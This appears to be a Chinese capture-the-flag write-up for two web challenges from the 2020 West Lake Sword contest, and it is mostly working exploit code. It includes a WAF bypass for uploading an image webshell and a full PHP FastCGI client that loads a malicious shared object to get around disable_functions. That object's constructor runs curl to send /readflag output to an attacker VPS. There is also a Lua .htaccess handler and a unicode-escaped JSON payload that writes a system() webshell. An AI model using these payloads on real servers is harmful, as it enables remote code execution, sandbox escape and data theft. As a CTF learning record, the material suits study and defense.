2020西湖論劍 baby writeup
阿新 • • 發佈:2020-10-09
原文連結:http://phoebe233.cn/?p=271
趙總殺我
NewUpload
有寶塔waf,上傳php檔案或者檔案內容包含php等都會502,然後504
後來發現可以用圖片馬+字尾換行來繞
然後有disable_functions和open_basedir,在shell裡執行phpinfo();會被寶塔攔,所以要麼直接寫死在檔案裡,要麼就動態掉用
exp:
<?php class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const RESPONDER = 1; protected $keepAlive = false; protected $_requests = array(); protected $_requestCounter = 0; protected function buildPacket($type, $content, $requestId = 1) { $offset = 0; $totLen = strlen($content); $buf = ''; do { // Packets can be a maximum of 65535 bytes $part = substr($content, $offset, 0xffff - 8); $segLen = strlen($part); $buf .= chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */ . chr($segLen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $part; /* content */ $offset += $segLen; } while ($offset < $totLen); return $buf; } protected function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } protected function readNvpair($data, $length = null) { if ($length === null) { $length = strlen($data); } $array = array(); $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } public function buildAllPacket(array $params, $stdin) { // Ensure new requestID is not already being tracked do { $this->_requestCounter++; if ($this->_requestCounter >= 65536 /* or (1 << 16) */) { $this->_requestCounter = 1; } $id = $this->_requestCounter; } while (isset($this->_requests[$id])); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value, $id); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id); } $request .= $this->buildPacket(self::PARAMS, '', $id); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin, $id); } $request .= $this->buildPacket(self::STDIN, '', $id); return $request; } } $sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr); $client = new Client(); $payload_file = "/tmp/ups.php"; $params = array( 'REQUEST_METHOD' => 'GET', 'SCRIPT_FILENAME' => $payload_file, 'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = h.so", ); $data = $client->buildAllPacket($params, ''); fwrite($sock, $data); var_dump(fread($sock, 4096)); ?>
編譯一個so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("curl vps:6666/`/readflag`");
}
gcc hpdoger.c -fPIC -shared -o hpdoger.so
然後vps開個http,把ups.php,h.so都copy到tmp目錄,再寫一個php包含就彈了(比賽剛結束5分鐘才成功wtcl)
康了下其他師傅的解法,發現還有利用lua的
.htaccess
AddHandler lua-script .lua
lua
require "string" function handle(r) r.content_type = "text/plain" local t = io.popen('/readflag') local a = t:read("*all") r:puts(a) if r.method == 'GET' then for k, v in pairs( r:parseargs() ) do r:puts( string.format("%s: %s\n", k, v) ) end else r:puts("Unsupported HTTP method " .. r.method) end end
EasyJson
<?php
include 'security.php';
if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");
if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
unicode繞一下content,寫個json格式的post過去/readflag就行了
{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?=system($_GET[0]);?>"}